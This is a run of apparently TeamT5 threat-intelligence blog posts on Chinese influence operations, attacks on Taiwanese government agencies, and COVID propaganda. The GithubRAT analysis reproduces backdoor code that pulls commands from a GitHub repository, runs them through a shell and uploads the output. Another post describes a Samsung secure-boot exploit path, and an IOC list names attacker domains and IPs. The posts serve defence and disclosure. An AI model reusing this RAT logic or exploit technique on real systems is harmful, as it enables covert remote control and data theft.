2020 is a year which has set many records. This year, the takedowns of covert Chinese social media accounts by Facebook, Twitter, and Google are more frequent than ever. However, even with such efforts, we observed that there are new covert actors emerging across the platforms, while the banned actors keep coming back to the scene by registering new domains and new accounts. We spotted that there is a huge number of Facebook pages with admins located in China dedicated to disseminating Chinese propaganda content originated from Chinese social media platform, Weibo. Besides, there are sophisticated actors that create websites and subtle content to help the Chinese government shaping the narrative for the Hong Kong protest. We also detected numerous networks of pro-China political accounts that demonstrated strong signs of automated behavior.
 
 
3. APT actors might have entered the InfoOps threat landscape.
 
 
The situation is become more alarming as we discovered that the Advanced Persistent Threat (APT) actors might have entered the InfoOps threat landscape. APT actors, typically a state-sponsored group, usually conduct prolonged and targeted cyberattacks to mine highly sensitive data. However, in mid-2020, we identified an InfoOp that can be linked to a notorious Chinese APT group which TeamT5 intelligence team has tracked for years. We discovered that the threat actors had disseminated disinformation about "Juiker," a messaging app developed by Taiwan's research institute and widely used by government units, on Taiwan's largest forum PTT. The operation, which we dub as "Operation Juiker," aimed to discredit Taiwan's intelligence agency and government-backed research institute by spreading disinformation of the messaging app being hacked.
 
 
4. It is more crucial than ever to adopt threat intelligence solutions to combat the issue.
 
 
The abovementioned Operation Juiker has well demonstrated the possibility of "APT + InfoOp" attack model, which involves targeted social media campaigns disseminating disinformation based on highly confidential data. Such situation is super tricky, and it could pose a great threat to democratic countries. In this case, threat intelligence can help provide instant analysis of actor methodologies, suspicious indicators, and potential risks. We suggest that it is crucial for government units, critical infrastructure operators, and major business vendors to apply threat intelligence to combat this issue.
 
 

If you are interested in this white paper, please fill out the form below and get the full-text PDF.
 
 
And don't miss our blog updates! Follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper III: China’s Social Manipulation outside the Great Firewall

在 TeamT5〈資訊戰白皮書〉的最後一部曲中，我們將呈現中國的資訊作戰（Information Operation）是如何瞄準全球社群媒體使用者。TeamT5 希望透過這系列白皮書，分享我們作為資安研究員，如何理解中國的社群操弄。

此份白皮書的前兩個章節，介紹中國檯面上與檯面下的行動。首先觀察中國在檯面上（overt operation）如何透過中國的官媒、大使館、外交官，在社群媒體創造自己的聲量。接著分析中國檯面下的行動（covert operation），進一步研究那些無法被輕易歸因的粉絲頁、內容農場與大量的僵屍帳號。最後一章將以 PTT 論壇上關於 Juiker 的假新聞攻擊為例，提出資訊戰當中，我們最擔心的 —— 由「進階持續性滲透威脅」（APT）發起的假新聞攻擊。

 
#### 報告摘要

1. 中國持續透過官媒與外交官進行檯面上的社群操弄
 
 
中國的官媒、外交官、大使館是中國檯面上的主要行動者。這些行動者負責美化中國外在形象，以及散播對中國執政黨有利的論述。根據我們的觀察，這些帳號在西方社群媒體中都擁有大量的追蹤者，Facebook 粉絲頁中，追蹤數排名世界前 20 名的新聞媒體，第一名到第四名就是由中國官媒粉絲頁 CGTN、China Daily、People's Daily、Xinhua News 包辦。中國檯面上的社群操弄，主要針對位在美國、加拿大、澳洲等英語系國家的海外華人，並透過他們對當地的政治進行一定影響。
 
 
2. 檯面下的社群操弄持續在西方主流社群平台出沒
 
 
2020 年，西方主流社群平台 Facebook、Twitter、Google 等，都曾數次移除各自平台上與中國有關的假帳號。儘管平台方已如此頻繁地掃蕩，許多隱匿的行動者仍然在各大平台上出沒，那些曾遭移除的帳號背後，有行動者持續透過註冊新網域和帳號捲土重來。我們不斷觀察到許多可疑帳號，例如許多擁有中國管理員的粉絲頁，會搬運微博上的政治宣傳。更有甚者，我們發現許多配備精良的攻擊者，會自己架設網站和疑似是自動化產生的僵屍帳號，來協助中國政府攻擊香港抗爭者。
 
 
3. APT 攻擊者很可能參與了社群媒體上的資訊戰
 
 
我們擔心 APT 攻擊者很可能參與了社群媒體上的資訊戰。APT 通常是由一個國家所支持的駭客團體，以竊取機敏資料為主，APT 的攻擊者往往具備了強悍的網路攻擊手法與資源。然而，我們今年偵察到了一個可能是由 APT 攻擊者發動的假新聞攻擊。該事件發生在 2020 年七月，PTT 論壇八卦版上，開始有許多被盜用的帳號以假新聞攻擊台灣重要軍事單位，造謠台灣公務機關使用的 Juiker 通訊軟體遭駭，以及台灣重要軍事機關遭駭。我們透過搜索比對貼文與發文 IP，發現其中一個 IP 位址，符合某個中國 APT 曾經使用過的中繼站。
 
 
4. 威脅情資作為對抗資訊戰的重要環節
 
 
如同前述的分析脈絡，APT 與社群操弄的結合會讓防守方更加棘手。在棘手的防守環境中，唯有威脅情資（threat intelligence）可以提供即時的分析，評估攻擊者的攻擊手法、可疑的指標、以及造成的風險。而在快速更迭的社群媒體環境中，平台方與事實查核團體非常難找到證據，歸因大量散播的假新聞。我們認為唯有導入威脅情資，才能有效幫助政府單位、重要關鍵基礎設施與企業，對抗資訊戰。
 
 

若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。
 
 
追蹤 TeamT5 [Twitter](https://twitter.com/TeamT5_Official)，資安動態不漏接！

TeamT5〈資訊戰白皮書三部曲：中國的社群操弄〉

インフォメーション オペレーション

Information Operation

Container Escape 101

圖片來源：[Unsplash](https://unsplash.com/photos/8OyKWQgBsKQ)

# 前言

法務部調查局綜整近期所偵辦的數起台灣政府機關遭駭案件，於 19 日發表記者會，提到政府部門的委外資訊服務供應商遭中國駭客組織攻擊現況，目前已知有市政府、水資源局等至少 10 個單位，以及 4 家資訊服務供應商遇害。

調查局資安工作站也發現，駭客在入侵政府機關內部的主機與伺服器後，為了要長期潛伏以及將獲取資料傳出，還會安裝 SoftEther VPN 程式，以連線到駭客指定的中繼站。

本次調查局公布的攻擊族群：MustangPanda、APT40、Blacktech 與 Taidoor，皆是 TeamT5 長期追蹤的標的，我們有信心能夠偵測這些族群使用的後門程式、駭客工具以及攻擊手法。

![0822-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598021396/0822-1_2529e698d3.png)
*圖一、駭客透過供應鏈攻擊我政府機關 -1（圖片來源：法務部調查局）*

![0822-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598021396/0822-2_a119c17629.png)
*圖二、駭客透過供應鏈攻擊我政府機關 -2（圖片來源：法務部調查局）*

 

# IOC 情資
TeamT5 長期進行駭客追蹤研究，根據法務部調查局所提供的情資內容，關聯出駭客族群慣用的惡意程式與相關 IOC 情資供使用者匯入至閘道端或端點防護設備比對使用，詳細惡意程式說明與 IOC 清單如下所示。

 

|惡意程式家族|類型|描述|攻擊族群|首次出現|
|----|----|----|----|----|
|dbgPrint |RAT |dbgPrint 為中國駭客族群 HUAPI 慣用的後門程式，其名稱來自於該後門程式早期版本的字串(strings)內容。dbgPrint 後門程式通常由 PE 型態的 Loader、插入 shellcode 的 DLL 檔及惡意 Payload 所組成。同時也具備防毒免殺(anti-antivirus)的功能模組。|HUAPI (又稱為 Plead 或 Blacktech)|2009 年|
|CobaltStrike Beacon |RAT |Cobalt Strike 是一款滲透測試或紅隊演練常使用的攻擊框架，而 CobaltStrike Beacon 則是從 Cobalt Strike 攻擊框架所產生的惡意 Payload。雖然 Cobalt Strike 為商業付費工具，但是經過破解並流傳於許多論壇或網站中，因此有許多駭客皆透過他進行惡意攻擊。|商業付費工具，無法明確定義出背後的攻擊族群|2016 年|

*表一、惡意程式分析說明*

 
 

|IOC|類型|提供來源|
|----|----|----|----|
|manage.lutengtw.com|Domain|法務部調查局|
|dccpulic.lutengtw.com|Domain|法務部調查局|
|trust.utoggsv.com|Domain|法務部調查局|
|wg1.inkeslive.com|Domain|法務部調查局|
|k3ad01.rutentw.com|Domain|法務部調查局|
|ams05.csksogo.com|Domain|法務部調查局|
|edgekey.whybbot.com|Domain|法務部調查局|
|shed.inkeslive.com|Domain|法務部調查局|
|ap21.gckerda.com|Domain|法務部調查局|
|cornerth.com|Domain|法務部調查局|
|teamcorner.nctu.me|Domain|法務部調查局|
|43.240.12.81|IP Address|法務部調查局|
|45.124.25.31|IP Address|法務部調查局|
|45.124.25.226|IP Address|法務部調查局|
|103.193.149.26|IP Address|法務部調查局|
|103.240.202.34|IP Address|法務部調查局|
|a8373a143a915518a33c4af19fff01e7|MD5 Hash|TeamT5|
|20714b487b5b63ff8e52b911d19d6da1|MD5 Hash|TeamT5|
|6c490c833bfff677c89d9bb81bef0cf5|MD5 Hash|TeamT5|
|d395580fea6fb840798dc1ee65756484|MD5 Hash|TeamT5|
|4a1941df8b251716f66e2777425ac0e5|MD5 Hash|TeamT5|
|c11f40af68c07b309bd103d69b7bb14a|MD5 Hash|TeamT5|
|387fe30ffc270939c299d1eaebcdcd4d|MD5 Hash|TeamT5|
|93bfdce35e3ab86508e09deedca6552f|MD5 Hash|TeamT5|
|1857fbce5c5269a1d4e40204ccccd7d1|MD5 Hash|TeamT5|
|www.kaspersky-security.net|Domain|TeamT5|
|www.symantec-endpoint.net|Domain|TeamT5|
|www.symantec-product.com|Domain|TeamT5|
|update.symantec-product.com|Domain|TeamT5|
|update.trendmicro-service.com|Domain|TeamT5|
|googleupdatesrv.com|Domain|TeamT5|
|103.234.96.213|IP Address|TeamT5|
|103.242.0.152|IP Address|TeamT5|
|43.240.12.80|IP Address|TeamT5|
|43.240.12.82|IP Address|TeamT5|
|43.240.12.83|IP Address|TeamT5|
|45.32.43.59|IP Address|TeamT5|
|45.76.189.109|IP Address|TeamT5|

*表二、IOC 清單*

 

ThreatSonar 惡意威脅鑑識分析平臺的用戶，可將上方表二之 IOC 匯入以強化威脅偵測與識別，亦可追溯比對過去資料是否命中 IOC。示意圖如下。

![0822-3.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078952/0822-3.2_a52efbee16.png)
*圖三、ThreatSonar 支援 Hash、IP 及 Domain IOC 情資匯入*

 

# 如何透過威脅狩獵找出 SoftEther VPN 程式
根據法務部調查局的偵辦結果，駭客為了長期潛伏於受害環境，因此會透過 SoftEther 這類的合法 VPN 程式進行遠端控制。ThreatSonar 具備主動威脅狩獵（Threat Hunting）功能，故可以快速地在環境中找出 SoftEther VPN 程式。

其步驟為在威脅狩獵（Hunter）功能中，切換 Scope 至憑證（Certificate），搜尋 "filename ~ softether"（請選擇 Engine Version 為全選），可依憑證內容搜尋環境內符合條件的 SoftEther 憑證及其對應的端點與程式清單。其流程步驟示意圖如下。

![0822-4.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078952/0822-4.2_7ff72c52b4.png)
*圖四、以 filename 查詢符合條件的 SoftEther 憑證*

 

![0822-5.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078951/0822-5.2_63428b1e98.png)
*圖五、具備 SoftEther 憑證的端點與程式清單*

 

![0822-6.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078951/0822-6.2_418ed6f1a2.png)
*圖六、駭客將 SoftEther VPN 程式偽裝成 svchost.exe*

調查局 08/19 公布中國對台灣政府機關駭侵事件說明

圖片來源：[Unsplash](https://unsplash.com/photos/Bb_X4JgSqIM)

## 前言
TeamT5 近期於台灣某政府機關發現駭客入侵事件，駭客於受害端點上植入遠端控制程式（Remote Access Tool, RAT）。特別之處在於，駭客透過 GitHub 雲端服務做為中繼站，藉此規避網路閘道端資安設備的偵測與攔阻。下圖為該受害主機向中繼站報到時，所回傳的端點資訊，可清楚看出該端點的域名為台灣政府機關。

![202008-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1597022323/202008-1_2e7fc527df.png)
_圖一、台灣某政府單位受駭_

## 技術分析
TeamT5 分析此 GithubRAT 後門程式，發現原為 Python Script，透過 PyInstaller 封裝為 Windows 執行檔。

GithubRAT 執行後，會透過 api.github.com 連線至駭客的 Github 專案（Repository），並將駭客下達指令的結果回傳至 Github 專案上，其檔名為 Base64 編碼後的受害電腦名稱，網路封包如下圖所示。

![202008-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1597022324/202008-2_6b4b387c8f.png)
_圖二、GithubRAT 使用 api.github.com 作為惡意中繼站_

 

TeamT5 分析 GithubRAT 惡意程式運作原理，將其執行步驟拆解如下：

 1. 連線至駭客的 Github 專案，如下所示。
 
 ```
 def __init__(self):
 self.back_git_heart = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_HEART, self.back_sid)
 self.back_git_cmd = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_CMD, self.back_sid)
 self.back_git_answer = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_ANSWER, self.back_sid)
 self.back_git_token = 'https://api.github.com/repos/{}/{}/contents/{}/{}'.format(B_USER, B_PROJECT, B_PATH, 'token')
 ```
 
 2. 將電腦名稱透過 Base64 編碼並註冊回傳至 Github 專案中。
 3. 從 Github 專案下載駭客的控制指令。
 4. 利用命令提示字元 cmd.exe 執行駭客指令，如下所示。

 ```
 def back_cmd(self, command):
 _t_data = 'timeout'
 p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
 _t = 10
 while _t > 0:
 time.sleep(1)
 if p.poll() == 0:
 _t_data = p.stdout.read() + p.stderr.read()
 break
 _t = _t - 1
 return _t_data
 ```
 
 5. 將指令執行之結果回傳至 Github 專案中，如下所示。

 ```
 def _put_git_answer(self, data):
 _result_status = False
 _status, _sha = self._get_git_hash(self.back_git_answer)
 d = {'message': 'my commit message',
 'content': base64.b64encode(data),
 'sha': _sha
 }
 headers = {'Authorization': 'token ' + B_TOKEN,'user-agent': B_USER_AGENT}
 try:
 r = requests.put(url=self.back_git_answer, data=json.dumps(d), headers=headers)
 if not _status and r.status_code == 201:
 _result_status = True
 if _sha and r.status_code == 200:
 _result_status = True
 except Exception as e:
 pass
 return _result_status
 ```
 
 6. 不斷重複步驟 3 至步驟 5。

 

另外，我們也發現駭客放置許多惡意程式於該 Github 專案中，其中包含密碼竊取（Password Dump）、漏洞利用（Exploit）及後門（Backdoor）等惡意程式，其詳細清單如下表所示。

|Hash|說明|
|---|---|
|a5f12ee032af8e8dd5a373f611f64726|Backdoor Loader|
|944465a0edd09d8eb569630a68ee111c|Cobalt Strike Payload|
|e5ed0de0100f670324202bbf5982a80a|Cobalt Strike Payload|
|4f67e80118dcc4a42ebcb2af2cad65ce|Hacktool，CVE-2014-4113 Exploit|
|0468a816c167ca5ad301dc408eb19fb5|HackTool，Chrome Password Dump|
|b33c7c022e1a25a981faabfc0fe53f6d|HackTool，AD Password Brute-Force Tool|
|5178eb048ecaed83b69aa277a7c6d784|HackTool，NETBIOS NameServer Scanner|
|2f9b582378c559ca66b48abd51f436a0|HackTool，TCP Port Banner Scanner|
|aad8b062891c0715a1842270c0a871eb|HackTool，MS-17-010 Eternalblue Scanner|
|41e32076f2e75181ce9f1cac6099a918|HackTool，MS-17-010 Eternalblue Scanner|
|1a41f9550964ada62f87f6a0b79e37ba|HackTool，NETBIOS NameServer Scanner|
_表一、駭客 GitHub 專案中的惡意程式列表_

## 影響與建議
由於許多單位都會使用 Github 服務作為版本控制之用，因此對 Github 的存取都會是許可的狀態，這也變成駭客反過來利用的機制。駭客利用大眾對於雲端服務的需求，轉而透過該雲端服務作為中繼站，遠端控制受害電腦。同時，該 GithubRAT 係透過 PyInstaller 進行封裝，駭客使用其他封裝工具即可快速改變檔案雜湊值，因此 TeamT5 建議可透過網路連線紀錄來威脅狩獵（Threat Hunting），找尋環境內是否有密集且定期的 api.github.com 連線紀錄，藉此找出環境中異常的網路存取連線。

最後，若單位遭遇進階持續性威脅（Advanced Persistent Threat, APT）時，建議可使用 TeamT5 的 ThreatSonar 惡意威脅鑑識分析平臺，可有效偵測此類進階攻擊手法，並快速完成事件關聯與回應。TeamT5 建議可將下方威脅指標（Indicator of Compromise, IOC）匯入各式資安設備中，強化威脅偵測與識別。

* 表一中所有的惡意程式雜湊值
* Yara Rule

```
rule RAT_Github
{
 meta:
 description= "detecting GithubRAT memory"
 author = "TeamT5"
 date = "2020-08-05"
 
 strings:
 $str1 = "pyi-windows-manifest-filename"
 $str2 = "https://api.github.com/repos/{}/{}/contents/{}/{}"
 $str3 = "back_cmd"
 $str4 = "put_git_answer" 
 
 all of them
}
```

![202008-3](https://res.cloudinary.com/dvgomg5gh/image/upload/v1597022324/202008-3_222c942e82.png)
_圖三、ThreatSonar 供資安人員快速匯入 Yara Rule 並自訂威脅等級_

Github 不再只是版控平台，還是 APT 後門中繼站

To confront the emerging threat of China's Information Operation, TeamT5 threat intelligence team publishes this White Paper covering how China conduct information manipulation across Chinese social media platforms. From the 2019 Hong Kong Protest to the 2020 COVID-19 pandemic, China has demonstrated the art of surveillance, censorship, and most importantly, digital propaganda.

In this white paper, we focus on China's digital propaganda inside the Great Firewall. We suggest that the regime has developed a unique, organizational, and sophisticated propaganda mechanism, which we dub as "digital propaganda formula." With this formula, the Chinese Communist Party (CCP) has managed to transform all the Chinese social media platforms inside the Great Firewall into an almost total pro-CCP environment.

#### Key Takeaways

1. CCP has strengthened its control over Chinese cyberspace by establishing legislations as well as centralizing administrations, and the "last mile" of its cyber governance is to control public opinion through censorship and digital propaganda.

2. We dub China's sophisticated propaganda mechanism the "digital propaganda formula," which consists of state media, communist youth league, governmental affairs new media, as well as trolling factory.

3. Moreover, CCP's policies have bolstered the industry of "public opinion guidance" in China. The industry practitioners have developed AI and big data-powered systems to help the government to collect, store, and analyze public sentiment.

4. China's formula has polluted the online information environment inside the Great Firewall. We assess that the CCP is trying to project its digital propaganda dominance to foreign social media platforms in order to control the world's discourse power. 

Following the global pandemic, the world relies on the internet more than ever. Cyber threat actors and influence operators, either state-backed or money driven, are taking the advantage to conduct information operation. TeamT5 threat intelligence team aims to deliver actionable intelligence and penetrating analytics and contribute to the safeguarding of cyberspace.

If you are interested in this white paper, please fill out the form below and get the full-text PDF.

 

**COMING UP NEXT**

In Part 3 of our Information Operation White Paper, we will focus on the external propaganda of the CCP. We will provide an overview of the current status and impact of Chinese propaganda machine and information operation on Western social media platforms, such as Facebook, Twitter, and YouTube.

If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper II: China’s Digital Propaganda Formula inside the Great Firewall

面對中國日趨積極、強烈的資訊操弄（Social Manipulation），TeamT5情資團隊以資訊安全研究員的視角，推出最新的〈資訊戰白皮書二部曲〉（Information Operation White Paper），進一步分析中國在「防火長城」（Great Firewall）內，如何透過社群媒體進行數位政治宣傳（Digital Propaganda）。

除了廣為人知的言論審查制度，中國在防火長城內的資訊操弄，更包含主動的數位政治宣傳。從2019年香港反送中抗爭事件，到2020年的新冠肺炎疫情，我們可以清楚看到中國越來越「爐火純青」的數位政治宣傳實力。防火長城內對社群媒體的操控，神秘、難以探知，中國更設法將牆內轉化成中國共產黨的「一言堂」，阻止了理性政治討論的可能性。

在〈資訊戰白皮書二部曲〉中，我們聚焦於：

1.	近年來，中國藉由大量的網路相關立法與集中整併政府資源，強化網路控制。而控制公眾言論的數位政治宣傳，就是中國網路治理的「最後一哩路」。

2.	我們認為中國的數位政治宣傳機制，依循著一個極為有效的「配方」（Digital Propaganda Formula），由四個要素組成：官方媒體、共青團、政務新媒體，以及中國的水軍大隊。

3.	在中國政府資源帶領下，「輿情引導產業」興起，提供人工智慧與大數據工具，替政府收集、儲存、進而分析網路民意。

4.	我們認為，中國藉著其政治宣傳配方來穩定牆內的網路生態，而下一步，就是要將自身在西方社群媒體的影響力，擴張到國外，競逐世界話語權。

在疫情之後，網路世界成為新常態（new normal）不可或缺的一部分。但於此同時，也讓網路威脅，不論是傳統駭客行動者或是社群媒體操弄者（influence operators），有更多機會發動攻擊。TeamT5情資團隊致力於傳遞有用的情資與協助決策的分析報告，希望對提升網路安全盡一份心力。

若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。

 

**下期預告**

在接下來的〈資訊戰白皮書三部曲〉中，我們將討論中國對外的政治宣傳，看中國政治宣傳機器的現況與其影響，以及中國在西方社群媒體平台上的資訊作戰。

不想錯過我們接下來發布的報告，請追蹤我們的 [Twitter](https://twitter.com/TeamT5_Official)。

TeamT5〈資訊戰白皮書二部曲：中國防火長城內的數位政治宣傳〉

### D39

D39 focuses on vulnerability research and has identified several critical security flaws, including technical exploitation of mobile, IoT devices, and Linux and Windows operating systems. We have reported dozens of vulnerabilities and dedicate to Samsung Vulnerabilities and Exposures (SVE) and Common Vulnerabilities and Exposures (CVE).

Before diving into the main subject this month, we are glad to announce that TeamT5 is again accepted at Black Hat USA, and our vulnerability research team, D39, will talk at the Black Hat Briefings in the upcoming August. We are honored to share our research findings with researchers and security experts all over the world and expect more recognition of Taiwan's vulnerability researchers in the world.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769445/D39_6-1_6807f98c9b.png)
[Black Hat Session](https://www.blackhat.com/us-20/briefings/schedule/index.html#breaking-samsungs-root-of-trust-exploiting-samsung-s-secure-boot-20290)

This article will cover a part of our talk at Black Hat USA in August.

### Introduction

We have found several vulnerabilities in Samsung Secure boot, which can break through Samsung Knox protections. We can even retrieve users' sensitive data from a locked device. The affected Samsung mobiles include Galaxy S8, S9, and S10. Patches to these vulnerabilities have been provided by Samsung.

One of these vulnerabilities allows attackers to execute arbitrary code in Galaxy S8 secure bootloader to access the device. In this article, we will elaborate how we exploit these vulnerabilities to bypass S8 secure bootloader through the USB device and obtain arbitrary code execution in early boot stage.

Note: Another security research team found this vulnerability at the same time and report it to Samsung.
ID: SVE-2019-15230 (details below).
![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/SVE-2019_3bc5eea84d.png)

### KNOX

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-2_ee457f68cd.png)
[Image courtesy](https://docs.samsungknox.com/whitepapers/knox-platform/hardware-backed-root-of-trust.htm)

As the market leader of smartphone, Samsung conducts a series of protection on Android, known as the Knox Platform, to ensure the security of its devices. During the booting process, Samsung uses S-boot (Secure Boot) to make sure it can only boot a stocked image. If the device tries to boot a custom image, it will trip (turned from 0X0 to 0X1) a one-time programmable bit e-fuse (a.k.a Knox bit). Once a trustzone app (trustlet) detects the Knox bit tripped, it will delete the encryption key of sensitive data to prevent unauthorized data from accessing the locked device.

### Vulnerability

Smartphones with Samsung Exynos processor use a exclusive secure bootloader named S-boot. S-boot has ODIN mode which allows users to upgrade the firmware manually. Due to the insufficiency in its code, the flash command (opcode: 0x66) in ODIN mode is not able to properly check the flash image size, which leads to buffer overflow.

The flash command in ODIN mode uses a temporary buffer to store the image. In Galaxy S8, the buffer is located at 0xC0000000, right in front of sboot code segment (0xC9000000). Although the system will check to ensure that the size being no larger than 0x1e0000, it uses signed comparison to check the size of the image; thus provide us some space to get around. We therefore provide a size larger than 0x80000000, making buffer overflowed and, in the end, the following segments such as code, stack, and heap will be overwritten.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-3_8b038e080e.png)

### The Exploit

#### Code Execution

Although we can overflow the code segment of S-Boot, we still cannot hijack the execution flow. Since USB receivers use physical memory to hold the data it received directly, we cannot affect instruction cache unless the cache line has been invalidated.

Fortunately, the heap segment is not cached due to MMU flag. There are some pointers stored in the heap segment, which can be accessed during the USB process. If we overwrite these pointers with null bytes, the processor will trigger an exception and trap into the exception handler while accessing to NULL pointers. Since the handler has never been executed, it is not cached in the instruction cache. Therefore we can also overwrite the exception handler simultaneously and hijack it directly to our shellcode.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769437/D39_6-4_58c7cc6a95.png)

#### Booting Custom Kernel

Since all the run-time data has been overwritten -- including stack, heap and global variables -- the sboot fail to perform further booting operation. These kinds of data are difficult to recover, so we must re-execute the booting process.

Under normal condition, S-boot calls several functions in a particular function table which is located at 0xC90C7350. To re-execute s-boot, these functions have to be invoked sequentially again. They would initialize the memory of heap and stack, set the global variables, and boot the kernel at the end. However, these functions also involve some SMC calls which cannot be executed twice. Since we only compromised EL1 (Exception Level 1), the trustzone in EL3 (Exception Level 3) cannot be reverted. As a result, we have to overwrite these SMC calls with NOP instruction while overflowing the code segment to ignore those SMC (System Management Controller) calls.

After all the run-time data has been reset, we replace the original kernel with our custom one. Then we execute one last function to boot our custom kernel and get the **root privilege without blowing KNOX bit**.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-5_2f6b6f9ccd.png)

### Timeline

2019-10-02 Report Vulnerability
2019-10-08 Informed Vulnerability duplicated and release patch note

### Appendix: Potential Exploit Path on Galaxy S10

According to our analysis, this vulnerability affects Galaxy S9, Galaxy S10 and Galaxy Note 10 as well. Among them we find that exploitation can still be trigger at different address. For instance, even the temporary buffer located at different addresss, like 0x890000000 in Galaxy S10, there are still chances to exploit it. To explain the complete exploitation flow, we choose the firmware, G970FXXU1ASD5, as an example.

In Galaxy S9 and later version, there is another feature added to the secure boot - compressed_download. It uses another buffer to store the flash image. However if compressed_download failed during the initialization, it will fallback to normal download, and use the buffer (0xC0000000) to store the flash image.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-6_724f86aa51.png)

To make S-boot fallback to normal download, we have to make the function `cd_v3_smp_register` fail. After reversing, we noticed that the function `cd_v3_smp_register` may return failed if there is no available core(`booted_cores` > 3) can be booted. Coincidentally, there is a test command - "smp_boot_test" in the UART (Universal Asynchronous Receiver/Transmitter) console. The command smp_boot_test will boot a core and add the count of the booted_cores. Although `smp_boot_test` shutdown the booted up core immediately, it didn't restore the count. Therefore, the compressed_download_init may failed if the command `smp_boot_test` has been invoked more than twice before entering the download mode.

If we have the UART debug cable to get the UART console, we can call the command`smp_boot_test` 3 times and enter the download mode via the command `usb`. The `compressed_download_init` would fail, then the temporary buffer fallback to 0xC0000000. Therefore the arbitrary code execution on S10's bootloader can be achieved as the one in Galaxy S8.

We managed to build our own TypeC debug cable at first. However, after trying every kinds of Pull-up/down resistor value, TypeC accessory mode, TypeC VDM, we cannot yet figure out a cable for RID_523K detection. Still, in the end, we applied other approach that enable us to attain **Galaxy S10 Secure Bootloader's permission of arbitrary code** without having debug cable.

We will have a thorough display on Black Hat. Stay tuned!

For the latest vulnerability research from D39, please follow:

TeamT5 official website: [https://teamt5.org/](https://teamt5.org/ "https://teamt5.org/")

Twitter: [https://twitter.com/TeamT5_Official](https://twitter.com/TeamT5_Official "https://twitter.com/TeamT5_Official")

BlackHat's Talk: Breaking Samsung's Root of Trust - Exploiting Samsung Secure Boot

*\*Please noted that this blog post is a shortened version of our analysis. To assess the full version of the analysis, please subscribe our report "Cyber Affairs Biweekly-Update."*

### Key Takeaways

1. China has exerted ever greater influence over the globe since the outbreak of the coronavirus. Over the past three months, TeamT5 has been monitoring how China utilizes its cyber strength and propaganda machine to handle the Covid-19 pandemic.
2. The Chinese authorities have collaborated with telecom firms and tech giants in China, using technologies such as big data to control the public opinion and people's movement. The regime has implemented measures such as digital surveillance, keywords censorship on social media applications, and Health Code System.
3. Moreover, China has also exercised its propaganda machine to shape both domestic and international narrative of the pandemic. The Chinese officials and Chinese state media have utilized various social media platforms, particularly Weibo and Twitter, to disseminate propaganda to Chinese people and foreign audiences. Some Chinese officials have connived and even promoted online conspiracy theory, which claimed China is not the origin of the coronavirus.

### Blurred Lines Between State and Corps: Telecom Surveillance and Health Code System

The Chinese Communist Party (CCP) has collaborated with its national tech giants and telecom firms to implement a series of security measures in the name of containing the coronavirus outbreak.

The regime has elevated its digital control over domestic citizens. In mid-February, China's Ministry of Industry and Information Technology (MIIT) sent a notice to Information and Communications Technology (ICT) service providers, demanding relevant firms to strengthen monitoring and censorship over online public discussion.\[1\] The MIIT also announced the utilization of telecom big data analysis in support of the battle against the coronavirus. \[2\]

As the country tried to resume normal operations, the Chinese authorities launched Health Code System, using big data to monitor citizens' health status and then regulate their movement. The Health Code System is developed by the Ant Financial, an affiliate company of the Chinese Alibaba Group, and Tencent in collaboration with the Chinese authorities.

The system has raised privacy concerns since it connects and integrates databases of government units and private firms, forming a comprehensive surveillance system which contains real name, phone number, ID, address, travel history, health status and contact history. Moreover, only 3 out of 16 Health Code Apps list their user agreement and privacy policy at installation, while others will directly direct users to the registration page to fill out personal information.\[3\] This shows that most of the users' data are collected, processed, and shared without informed consent.

### Strategic Distraction and Positive Propaganda Targeting Domestic Citizens

The authoritarian regime is also in another battle to shape the public opinion about the epidemic. Initially, the Chinese state media employed strategic distraction to mitigate the seriousness of the coronavirus. Before Wuhan Lockdown on January 23, Chinese state media started reporting the Influenza B in the United States.\[4\] The topic "Influenza B outbreak in the US" (美国爆发乙型流感) reached 500 million views and 31,000 discussions on Weibo.\[5\]

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_1_4fb4158a6a.png)_Figure 1: News report by the China Central Television (CCTV)._

As the number confirmed cases soared in China, the Chinese state media outlets started to spread positive propaganda. For instance, they highly praised the Chinese authorities' handling of the virus by highlighting the rapid construction of Huoshenshan Hospital.\[6\] They also promoted narratives such as "the Chinese people are sacrificing to fight the virus", accompanied by praises from WHO Director General Tedros Adhanom Ghebreyesus.\[7\]\[8\]

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718736/SR_2_0b7b7f6542.png)_Figure 2: YouTube video by China Global Television Network (CGTN)._

The regime has seized the opportunity to demonstrate the country's strength to contain the virus as well as the advantages of an authoritarian regime. The CCP uses the case to show that its authoritarian governance system is more effective than the liberal democracies when facing a crisis like the Covid-19 pandemic.

### Propaganda, Hoaxes and Conspiracy Theories: From Troublemaker to Global Savior

Although China was widely criticized for its delayed and opaque treatment to the coronavirus outbreak during the initial stage, the regime has backed on its feet to polish its international image after the pandemic seems to have subsided in China.

